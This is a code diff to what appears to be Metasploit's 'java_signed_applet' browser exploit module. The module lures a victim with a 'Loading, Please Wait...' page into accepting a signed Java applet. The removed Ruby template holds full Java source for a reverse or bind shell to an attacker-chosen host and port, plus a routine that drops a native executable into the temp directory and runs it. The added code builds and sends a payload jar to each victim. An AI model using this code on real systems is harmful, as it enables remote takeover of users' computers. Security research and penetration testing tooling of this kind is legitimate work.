diff --git a/data/exploits/java_signed_applet.jar b/data/exploits/java_signed_applet.jar deleted file mode 100644 index 1d210de536..0000000000 Binary files a/data/exploits/java_signed_applet.jar and /dev/null differ diff --git a/data/exploits/java_signed_applet/META-INF/MANIFEST.MF b/data/exploits/java_signed_applet/META-INF/MANIFEST.MF new file mode 100644 index 0000000000..362a05b2de --- /dev/null +++ b/data/exploits/java_signed_applet/META-INF/MANIFEST.MF @@ -0,0 +1,9 @@ +Manifest-Version: 1.0 +Created-By: 1.6.0_18 (Sun Microsystems Inc.) + +Name: metasploit/PayloadApplet.class +SHA1-Digest: X/L7jWCXGQGhITfOvpnJg+jgUZM= + +Name: metasploit/Payload.class +SHA1-Digest: KbAIMttBcLp1zCewA2ERYkcnRU8= + diff --git a/data/exploits/java_signed_applet/META-INF/SIGNFILE.DSA b/data/exploits/java_signed_applet/META-INF/SIGNFILE.DSA new file mode 100644 index 0000000000..433f92bb19 Binary files /dev/null and b/data/exploits/java_signed_applet/META-INF/SIGNFILE.DSA differ diff --git a/data/exploits/java_signed_applet/META-INF/SIGNFILE.SF b/data/exploits/java_signed_applet/META-INF/SIGNFILE.SF new file mode 100644 index 0000000000..9e3e356392 --- /dev/null +++ b/data/exploits/java_signed_applet/META-INF/SIGNFILE.SF @@ -0,0 +1,11 @@ +Signature-Version: 1.0 +SHA1-Digest-Manifest-Main-Attributes: s1TdOxe3gzjQrMmw0MCPecT0Dpk= +Created-By: 1.6.0_18 (Sun Microsystems Inc.) +SHA1-Digest-Manifest: /3/N9PvurH7pif9Ej6Ki35dLu2A= + +Name: metasploit/PayloadApplet.class +SHA1-Digest: y6+heNFX7iv2UtUFv9ziltcUeAs= + +Name: metasploit/Payload.class +SHA1-Digest: 70nbz45oAy6s9DR1vxQIhIxgzLc= + diff --git a/data/exploits/java_signed_applet/metasploit/Payload.class b/data/exploits/java_signed_applet/metasploit/Payload.class new file mode 100644 index 0000000000..c1e8e9d384 Binary files /dev/null and b/data/exploits/java_signed_applet/metasploit/Payload.class differ diff --git a/data/exploits/java_signed_applet/metasploit/PayloadApplet.class b/data/exploits/java_signed_applet/metasploit/PayloadApplet.class new file mode 100644 index 0000000000..946b38e060 Binary files /dev/null and b/data/exploits/java_signed_applet/metasploit/PayloadApplet.class differ diff --git a/external/source/javapayload/src/metasploit/PayloadApplet.java b/external/source/javapayload/src/metasploit/PayloadApplet.java new file mode 100644 index 0000000000..6cb6a80a01 --- /dev/null +++ b/external/source/javapayload/src/metasploit/PayloadApplet.java @@ -0,0 +1,14 @@ + +package metasploit; + +import java.applet.*; + +public class PayloadApplet extends Applet { + public void init() { + try { + Payload.main(null); + } catch (Exception ex) { + ex.printStackTrace(); + } + } +} diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index cc4607be6c..7499758821 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -46,23 +46,14 @@ class Metasploit3 < Msf::Exploit::Remote [ [ 'URL', 'http://www.defcon.org/images/defcon-17/dc-17-presentations/defcon-17-valsmith-metaphish.pdf' ], ], - 'Platform' => [ 'win', 'osx', 'linux', 'solaris' ], - 'Payload' => { 'Space' => 2048, 'BadChars' => '', 'DisableNops' => true }, + 'Platform' => [ 'java', 'win', 'osx', 'linux', 'solaris' ], + 'Payload' => { 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ - # Generic java payload is mostly useless right now, as it kills as soon as the user browses - # to another page. It should be rewritten to launch a new JVM in the background with a custom - # .class. - # - # Look up the path to bin/java, dump .class to java.io.tmpdir, then bin/java foo.class via - # /bin/sh or cmd.exe [ 'Generic (Java Payload)', { - # This is a bad hack to force only the generic/shell_bind_tcp - # and generic/shell_reverse_tcp payloads - 'Platform' => ['win'], - 'Payload' => { 'Space' => 0 }, - 'Arch' => ARCH_CMD, + 'Platform' => ['java'], + 'Arch' => ARCH_JAVA } ], [ 'Windows x86 (Native Payload)', @@ -71,6 +62,12 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, } ], + [ 'Linux x86 (Native Payload)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + } + ], [ 'Mac OS X PPC (Native Payload)', { 'Platform' => 'osx', @@ -83,12 +80,6 @@ class Metasploit3 < Msf::Exploit::Remote 'Arch' => ARCH_X86, } ], - [ 'Linux x86 (Native Payload)', - { - 'Platform' => 'linux', - 'Arch' => ARCH_X86, - } - ], ], 'DefaultTarget' => 1 )) @@ -109,245 +100,15 @@ class Metasploit3 < Msf::Exploit::Remote end - def exploit - # - # Currently doing all processing in on_request_uri. - # If this is too slow, we can move applet generation up here. - # - - @use_static = false - - if not @jvm_init - print_error - print_error "The JDK failed to initialized: #{@java_error}" - print_error "In order to dynamically sign the applet, you must install the Java Development Kit, the rjb gem, and set the JAVA_HOME environment variable." - print_error - print_error "Falling back to static signed applet. This exploit will still work, but the CERTCN and APPLETNAME variables will be ignored." - print_error - @use_static = true - end - - if datastore['SaveToFile'] - appletsource = get_code - save_to_file( appletsource['classnames'], appletsource['codefiles'], datastore['SaveToFile'] ) - end - - super - end - - def get_code - - appletsource = <<-EOF -import java.applet.Applet; -import java.io.ByteArrayInputStream; -import java.io.ObjectInputStream; -import java.io.BufferedReader; -import java.io.BufferedWriter; -import java.io.File; -import java.io.FileOutputStream; -import java.io.InputStream; -import java.io.InputStreamReader; -import java.io.OutputStream; -import java.io.OutputStreamWriter; -import java.net.ServerSocket; -import java.net.Socket; -import java.security.AccessController; -import java.security.PrivilegedExceptionAction; - -public class #{datastore['APPLETNAME']} extends Applet -{ - - public void init() - { - try - { - String data = getParameter( "data" ); - String lhost = getParameter( "lhost" ); - String lport = getParameter( "lport" ); - - if( data == null ) { - data = ""; - } - - //System.out.println("Applet executing. Creating payload class."); - - #{datastore['PAYLOADNAME']} site = new #{datastore['PAYLOADNAME']} (); - //System.out.println("Payload class instantiated."); - site.data = data; - - if( lhost != null && lport != null) { - site.lhost = lhost; - site.lport = Integer.parseInt(lport); - System.out.println("lhost: " + lhost); - System.out.println("lport: " + Integer.parseInt(lport)); - } - - //System.out.println("data: " + data); - - site.run(); - } - catch( Exception e ) { System.out.println("Applet error: " + e); } - } - - class #{datastore['PAYLOADNAME']} implements PrivilegedExceptionAction - { - // This will contain a hex string of the native payload to drop and execute. - public String data = null; - // If no native payload is set we get either a java bind shell or a java - // reverse shell. - public String lhost = null; - public int lport = 4444; - - class StreamConnector extends Thread - { - InputStream is; - OutputStream os; - - StreamConnector( InputStream is, OutputStream os ) - { - this.is = is; - this.os = os; - } - - public void run() - { - BufferedReader in = null; - BufferedWriter out = null; - - try - { - in = new BufferedReader( new InputStreamReader( is ) ); - out = new BufferedWriter( new OutputStreamWriter( os ) ); - char buffer[] = new char[8192]; - int length; - while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) - { - out.write( buffer, 0, length ); - out.flush(); - } - } - catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } - - try - { - if( in != null ) - in.close(); - if( out != null ) - out.close(); - } - catch( Exception e ) { System.out.println( "StreamConnector error: " + e); } - } - } - - // http://stackoverflow.com/questions/140131/convert-a-string-representation-of-a-hex-dump-to-a-byte-array-using-java - public byte[] StringToBytes( String s ) - { - byte[] data = new byte[s.length() / 2]; - - for( int i = 0 ; i < s.length() ; i += 2 ) - data[i / 2] = (byte)( ( Character.digit( s.charAt( i ), 16 ) << 4 ) + Character.digit( s.charAt( i + 1 ), 16 ) ); - - return data; - } - - public Object run() throws Exception - { - //System.out.println("Applet running..."); - - try - { - String os = System.getProperty( "os.name" ); - - // if we have no native payload to drop and execute we default to - // either a TCP bind or reverse shell. - //if( #{datastore['PAYLOADNAME']}.data.length() == 0 ) - if( this.data.length() == 0 ) - { - //System.out.println("Applet thinks payload.data is empty."); - Socket client_socket = null; - - String shell = "/bin/sh"; - - if( os.indexOf( "Windows" ) >= 0 ) - shell = "cmd.exe"; - - //if( #{datastore['PAYLOADNAME']}.lhost == null ) - if( this.lhost == null ) - { - //ServerSocket server_socket = new ServerSocket( #{datastore['PAYLOADNAME']}.lport ); - ServerSocket server_socket = new ServerSocket( this.lport ); - client_socket = server_socket.accept(); - } - else - { - //client_socket = new Socket( #{datastore['PAYLOADNAME']}.lhost, #{datastore['PAYLOADNAME']}.lport ); - client_socket = new Socket( this.lhost, this.lport ); - } - - if( client_socket != null ) - { - Process process = Runtime.getRuntime().exec( shell ); - - ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); - - ( new StreamConnector( process.getErrorStream(), client_socket.getOutputStream() ) ).start(); - - ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); - } - } - else - { - //System.out.println("Applet knows there's data to write. Writing to: " + System.getProperty( "java.io.tmpdir" )); - String filename = Math.random() + ".exe"; - String path = System.getProperty( "java.io.tmpdir" ) + File.separator + filename; - //System.out.println(filename + " written."); - - Process p; - FileOutputStream fos = new FileOutputStream( path ); - - //fos.write( StringToBytes( #{datastore['PAYLOADNAME']}.data ) ); - fos.write( StringToBytes( this.data ) ); - - fos.close(); - - if( os.indexOf( "Windows" ) < 0 ) - { - p = Runtime.getRuntime().exec( "chmod 755 " + path ); - p.waitFor(); - } - - p = Runtime.getRuntime().exec( path ); - - p.waitFor(); - - new File( path ).delete(); - } - } - catch( Exception e ) { System.out.println("Payload execution error: " + e); } - - return null; - } - - public void #{datastore['PAYLOADNAME']}() - { - try - { - AccessController.doPrivileged( this ); - } - catch( Exception e ) { System.out.println("Payload instantiation error: " + e); } - } - } -} -EOF - appletcode = { - 'classnames' => [ datastore['APPLETNAME'] ], - 'codefiles' => [ appletsource ] - } - - return appletcode - end - def on_request_uri( cli, request ) + payload = regenerate_payload(cli) + if not payload + print_error( "Failed to generate the payload." ) + # Send them a 404 so the browser doesn't hang waiting for data + # that will never come. + send_not_found(cli) + return + end if not request.uri.match(/\.jar$/i) if not request.uri.match(/\/$/) @@ -357,108 +118,68 @@ EOF print_status( "Handling request from #{cli.peerhost}:#{cli.peerport}..." ) - if target.name == 'Generic (Java Payload)' - if datastore['LHOST'] - host = datastore['LHOST'] - port = datastore['LPORT'] - print_status( "Payload will be a Java reverse shell to #{host}:#{port} from #{cli.peerhost}..." ) - else - port = datastore['LPORT'] - datastore['RHOST'] = cli.peerhost - print_status( "Payload will be a Java bind shell on #{cli.peerhost}:#{port}..." ) - end - else - payload = regenerate_payload( cli ) - if not payload - print_error( "Failed to generate the payload." ) - return - end - - # NOTE: The EXE mixin automagically handles detection of arch/platform - data = generate_payload_exe - - if data - print_status( "Generated executable to drop (#{data.length} bytes)." ) - data = Rex::Text.to_hex( data, prefix="" ) - else - print_error( "Failed to generate the executable." ) - return - end - end - - if not @use_static - # See #1543 - if datastore['CERTCN'].index(",") - print_error("CERTCN cannot contain a comma due to a bug in Rjb, commas will be removed") - end - - appletcode = get_code - - print_status "Compiling applet classes..." - compile( appletcode['classnames'], appletcode['codefiles'] ) - - print_status "Compile completed. Building jar file..." - - unsignedjar = "unsigned_#{datastore['APPLETNAME']}.jar" - @signedjar = "#{datastore['APPLETNAME']}.jar" - - build_jar( unsignedjar, - [ - # Applet - datastore['APPLETNAME'] + ".class", - # PayloadX class - datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + ".class", - # PayloadX StreamConnector for pure Java payload - datastore['APPLETNAME'] + "$" + datastore['PAYLOADNAME'] + "$StreamConnector.class" - ] - ) - - print_status "Jar built. Signing..." - - sign_jar( datastore['CERTCN'], unsignedjar, @signedjar ) - - print_status "Jar signed. Ready to send." - else - print_status "Using static, signed jar. Ready to send." - end - - # TODO: gzip data and parse in java - send_response_html( cli, generate_html( data, host, port ), { 'Content-Type' => 'text/html' } ) + send_response_html( cli, generate_html, { 'Content-Type' => 'text/html' } ) return end - # load the jar file - if @use_static - path = File.join( Msf::Config.install_root, "data", "exploits", "java_signed_applet.jar" ) - elsif File.exists? File.join( datastore['JAVACACHE'], @signedjar ) - path = File.join( datastore['JAVACACHE'], @signedjar ) - end + # If we haven't returned yet, then this is a request for our applet + # jar, build one for this victim. - if path - fd = File.open( path, "rb" ) - @jar_data = fd.read(fd.stat.size) - fd.close + p = regenerate_payload(cli) + jar = p.encoded_jar + + files = [ + "metasploit/Payload.class", + "metasploit/PayloadApplet.class", + "META-INF/MANIFEST.MF", + "META-INF/SIGNFILE.DSA", + "META-INF/SIGNFILE.SF", + ] + + # Ghetto. Replace existing files in the Jar, then add in + # anything that wasn't replaced. The reason for replacing the + # .class files is to ensure that we're sending the + # Payload.class as was signed rather than a newer one that was + # updated without updating the signature. We'll just have to + # cross our fingers and hope that any updates don't break + # backwards compatibility in the handler until we can get + # signing to work from ruby. Once we can sign jars directly + # from ruby using OpenSSL, this won't be a problem. + replaced = [] + # Replace the ones that are already there. + jar.entries.map do |e| + file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e.name) + if File.file? file + File.open(file, "rb") do |f| + e.data = f.read(f.stat.size) + end + end + replaced << e.name end + # Add the rest + files.each { |e| + next if replaced.include? e + file = File.join(Msf::Config.data_directory, "exploits", "java_signed_applet", e) + File.open(file, "rb") do |f| + jar.add_file(e, f.read(f.stat.size)) + end + } print_status( "Sending #{datastore['APPLETNAME']}.jar to #{cli.peerhost}:#{cli.peerport}. Waiting for user to click 'accept'..." ) - send_response( cli, @jar_data, { 'Content-Type' => "application/octet-stream" } ) + send_response( cli, jar.pack, { 'Content-Type' => "application/octet-stream" } ) handler( cli ) end - def generate_html( data, host, port ) - html = "Loading, Please Wait..." - html += "

Loading, Please Wait...

" - html += "" - - html += "" if data - html += "" if host - html += "" if port - - html += "" + def generate_html + html = %Q|Loading, Please Wait... | + html += %Q|

Loading, Please Wait...

| + html += %Q|\n| + html += %Q|| return html end end +